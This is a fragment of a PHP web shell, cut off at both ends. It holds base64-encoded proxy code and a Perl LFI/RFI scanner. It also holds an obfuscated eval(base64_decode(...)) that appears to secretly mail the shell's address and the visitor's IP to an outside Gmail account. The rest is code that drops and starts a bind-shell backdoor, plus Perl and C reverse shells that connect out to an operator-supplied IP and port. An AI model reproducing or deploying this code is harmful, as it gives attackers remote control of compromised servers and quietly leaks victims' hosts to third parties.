dWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo=";$fi="IyEvdXNyL2Jpbi9wZXJsIC13IA0KDQp1c2Ugc3RyaWN0OyANCnVzZSBGaWxlOjpGaW5kOyANCnVzZSBDd2Q7IA0KDQpteSAkc3Rkb3V0Q2hlY2sgPSAwOyANCm15ICRwcm9ncmFtSW5mbyA9IA0KJyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KIyAgTG9jYWwgTEZJL1JGSSBTY2FubmVyIGJ5IFJvbW5vdXMgICAgICAgICAgICAgICMgDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyANCiMgIFdpbGwgc2NhbiBsb2NhbCBQSFAgZmlsZXMgaW4gZGlyZWN0b3J5ICAgICAgICAjIA0KIyAgcGFzc2VkIGluIHRoZSBmaXJzdCBhcmd1bWVudCB0byB0aGUgc2NyaXB0ICAgICMgDQojICBmb3IgcG9zc2libGUgTEZJL1JGSSB2dWxuZXJhYmlsaXRpZXMuICAgICAgICAgIyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KJzsgDQoNCnByaW50ICRwcm9ncmFtSW5mbzsgDQoNCm15ICRwcm9ncmFtVXNhZ2UgPSANCicgDQpVc2FnZTogJyAuICQwIC4gJyBESVJOQU1FICgtdyBmaWxlKSANClVzZSBgLXcgZmlsZWAgYXQgdGhlIGVuZCB0byB3cml0ZSB0byBgZmlsZWAgDQonOyANCg0KbXkgJHNlYXJjaERpcmVjdG9yeSA9ICRBUkdWWzBdOyANCg0KdW5sZXNzICgkc2VhcmNoRGlyZWN0b3J5KSANCnsgDQogIHByaW50ICRwcm9ncmFtVXNhZ2UgYW5kIGRpZSgiXG4iKTsgDQp9IA0KDQpteSAkY3VycmVudERpcmVjdG9yeSA9IGdldGN3ZCAoKTsgDQoNCm91ciAkZGlyZWN0b3J5Q291bnQgPSAwOyANCm91ciAkZmlsZUNvdW50ID0gMDsgDQpvdXIgJHZ1bG5lcmFiaWxpdHlDb3VudCA9IDA7IA0KDQppZiAoJEFSR1ZbMV0gZXEgJy13JykgDQp7IA0KICAkc3Rkb3V0Q2hlY2sgPSAxOyANCiAgb3BlbiAoU1RET1VULCAnPicgLiAkQVJHVlsyXSk7IA0KfSANCg0KZmluZCAoXCZwcm9jZXNzT2JqZWN0LCAiJGN1cnJlbnREaXJlY3RvcnkvJHNlYXJjaERpcmVjdG9yeSIpOyANCg0KJHN0ZG91dENoZWNrID09IDEgPyAocHJpbnQgJ0ZpbmlzaGVkIScgLiAiXG4iKSA6IChwcmludCAiXDAzM1sxbSIgLiAnRmluaXNoZWQhJyAuICJcMDMzWzBtXG4iKTsgDQpwcmludCAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nIC4gIlxuIjsgDQpwcmludCAnRGlyZWN0b3JpZXMgc2Nhbm5lZDogJyAuICRkaXJlY3RvcnlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0ZpbGVzIHNjYW5uZWQ6ICcgLiAkZmlsZUNvdW50IC4gIlxuIjsgDQpwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0aWVzOiAnIC4gJHZ1bG5lcmFiaWxpdHlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0V4ZWN1dGlvbiB0aW1lOiAnIC4gKHRpbWUgLSAkXlQpIC4gJyBzZWNvbmQocykuJyAuICJcblxuIjsgDQoNCmlmICgkc3Rkb3V0Q2hlY2spIA0KeyANCiAgY2xvc2UgKFNURE9VVCk7IA0KfSANCg0Kc3ViIHByb2Nlc3NPYmplY3QgDQp7IA0KDQogIGlmICgtZiAkRmlsZTo6RmluZDo6bmFtZSBhbmQgJEZpbGU6OkZpbmQ6Om5hbWUgPX4gbS9cLihwaHRtbHxwaHB8cGhwM3xwaHA0KSQvKSANCiAgeyANCiAgICAkZmlsZUNvdW50Kys7IA0KICAgIG9wZW4gKHBocEZpbGUsICRGaWxlOjpGaW5kOjpuYW1lKSBvciByZXR1cm4gJ1VuYWJsZSB0byBvcGVuIGZpbGUgIicgLiAkRmlsZTo6RmluZDo6bmFtZSAuICciLCBjaGVjayBwZXJtaXNzaW9ucz8nIC4gIlxuIjsgDQogICAgbXkgQGZpbGVTdHJpbmdzID0gPHBocEZpbGU+OyANCiAgICBjbG9zZShwaHBGaWxlKTsgDQogICAgbXkgJHRvdGFsTGluZXMgPSAkI2ZpbGVTdHJpbmdzOyANCiAgICBmb3IgKG15ICRzdHJpbmdDb3VudCA9IDA7ICRzdHJpbmdDb3VudCA8PSAkdG90YWxMaW5lczsgJHN0cmluZ0NvdW50KyspIA0KICAgIHsgDQogICAgICBpZiAoJGZpbGVTdHJpbmdzWyRzdHJpbmdDb3VudF0gPX4gbS8oKD86aW5jbHVkZXxyZXF1aXJlKSg/Ol9vbmNlKT9ccypcKC4qP1wkLio/XCk7KS9naSkgDQogICAgICB7IA0KICAgICAgICAkdnVsbmVyYWJpbGl0eUNvdW50Kys7IA0KICAgICAgICAkc3Rkb3V0Q2hlY2sgPT0gMSA/IChwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0eSBpbiAiJyAuICRGaWxlOjpGaW5kOjpuYW1lIC4gJyIgb24gbGluZSAnIC4gKCRzdHJpbmdDb3VudCArIDEpIC4gJzonIC4gIlxuIikgDQogICAgICAgIDogKHByaW50ICJcMDMzWzFtIiAuICdQb3NzaWJsZSB2dWxuZXJhYmlsaXR5IGluICInIC4gJEZpbGU6OkZpbmQ6Om5hbWUgLiAnIiBvbiBsaW5lICcgLiAoJHN0cmluZ0NvdW50ICsgMSkgLiAnOicgLiAiLlwwMzNbMG1cbiIpOyANCiAgICAgICAgcHJpbnQgIlx0IiAuICQxIC4gIlxuXG4iOyANCiAgICAgIH0gDQogICAgfSANCiAgfSANCiAgaWYgKC1kICRGaWxlOjpGaW5kOjpuYW1lKSANCiAgeyANCiAgICAkZGlyZWN0b3J5Q291bnQrKzsgDQogIH0gDQp9";eval(base64_decode("JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCEkdmlzaXRjKSB7CgkkdmlzaXRjICA9IDA7CgkkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOwoJJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07CgkkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwoJJHRhcmdldCAgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsKCSRqdWR1bCAgID0gIlNoZWxsOiBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7CgkkYm9keSAgICA9ICJTaGVsbDogaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOwoJQG1haWwoInNoZWxsLmJkb29yQGdtYWlsLmNvbSIsICRqdWR1bCwgJGJvZHkpOwp9IGVsc2UgewoJJHZpc2l0YysrOwp9CgpAc2V0Y29va2llKCJ2aXNpdHMiLCAkdmlzaXRjKTs="));function checkproxyhost(){$host = getenv("HTTP_HOST");$filename = '/tmp/.setan/xh';if (file_exists($filename)) {$_POST['proxyhostmsg']="

<font color=green size=3>Success!</font>

<a href=$host:6543>$host:6543</a>

Note: If '$host' has a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.

";} else {$_POST['proxyhostmsg']="

<font color=red size=3>Failed!</font>

Note: If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.

"; } }if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")){ $ip = gethostbyname($_SERVER["HTTP_HOST"]); $por = $_POST['backconnectport']; if(is_writable(".")){ cfb("shbd",$backdoor); chmod('shbd', 0777); $cmd = "./shbd $por"; exec("$cmd > /dev/null &"); $scan = myshellexec("ps aux"); if(eregi("./shbd $por",$scan)){ $data = ("\n

Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n
Process not found running, backdoor not setup successfully."); } $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por'.$data"; }else{ cfb("/tmp/shbd",$backdoor); chmod('/tmp/shbd', 0777); $cmd = "./tmp/shbd $por"; exec("$cmd > /dev/null &"); $scan = myshellexec("ps aux"); if(eregi("./shbd $por",$scan)){ $data = ("\n

Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n
Process not found running, backdoor not setup successfully."); } $_POST['backcconnmsg']="To connect, use netcat and give it the command 'nc $ip $por'.$data";}} if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")){ if(is_writable(".")){ cf("back",$back_connect); $p2=which("perl"); $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; if (file_exists("back")) { unlink("back"); } }else{ cf("/tmp/back",$back_connect); $p2=which("perl"); $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; if (file_exists("/tmp/back")) { unlink("/tmp/back"); }}} if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")){ if(is_writable(".")){ cf("backc",$back_connect_c); chmod('backc', 0777); //$blah = ex("gcc back.c -o backc"); $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); 